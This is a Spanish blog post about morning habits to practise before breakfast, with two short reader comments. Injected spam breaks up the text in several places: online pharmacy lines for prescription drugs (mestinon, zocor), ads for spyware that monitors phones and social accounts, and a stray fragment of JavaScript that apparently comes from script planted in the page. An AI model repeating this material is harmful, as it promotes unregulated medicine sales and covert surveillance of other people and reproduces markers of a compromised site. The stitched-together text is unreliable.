Salud y belleza » Salud, alimentos, dieta saludable, psicología

Hábitos antes del desayuno que mejorarán tu vida

2 Comentarios

Para mejorar tu día a día es importante madrugar y llevar a cabo una serie de hábitos antes de desayunar para mejorar nuestro rendimiento día a día y también tu calidad de vida y tu estado de ánimo:

- Ejercítate: hacer ejercicio entre semana es importante pero hacer ejercicio por la mañana puede ayudarte a comenzar mejor el día y a reducir el estrés. Lo ideal sería practicar media hora antes del café.

habitos-mañanas

- Adelanta las tareas más incómodas: empieza el día realizando las tareas que menos te gustan, el informe que tienes que presentar, la avería que tienes que arreglar… así comenzarás la jornada sin asuntos pendientes.

mestinon 60 mg online - Escribe una novela: aunque el resto del día no tengas ideas, la primera hora de la mañana es la mejor para inspirarse y para escribir. O a lo mejor puedes usar tu creatividad para inspirarte en tus tareas o en tu negocio.

habitos-antes-desayuno

- Practica sexo: a menudo la rutina y el estrés diario te dejan sin fuerzas para intimar con tu pareja a última hora del día. Practicar sexo a primera hora tiene múltiples beneficios para la salud, mejora el sistema cardiovascular y te ayudará a estar en armonía con tu pareja.

- Medita: la primera hora es la mejor para meditar, fijarte un propósito diario, nuevas metas y analizar lo positivo del día.

online

- Contesta correos: seguro que tienes la bandeja de entrada a rebosar de correos electrónicos por contestar. La paz de la mañana te ayudará a contestarlos de mejor humor.

habitos-saludables-mañanas

- Lee la prensa: leer la prensa los fines de semana relajado es algo que puedes ampliar al resto de la semana. Un poco de periódico, radio o televisión e incluso redes sociales para estar al tanto de lo que pasa a tu alrededor.

¿Crees que estos hábitos te ayudarán a mejorar tu día a día?

generic zocor picture Cheap Cheap Pills document.currentScript.parentNode.insertBefore(s, document.currentScript); Order twitter spy, gps cell phone, snapchat monitor

Más consejos de salud y belleza : , ,

2 Comments »

  • sonia said:

    no da tiempo a tantas cosas antes del desayuno no?

  • petra said:

    hacer ejercicio es lo que más me llena por la mañana. te espabila para todo el día.

Publique su Comentario !

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.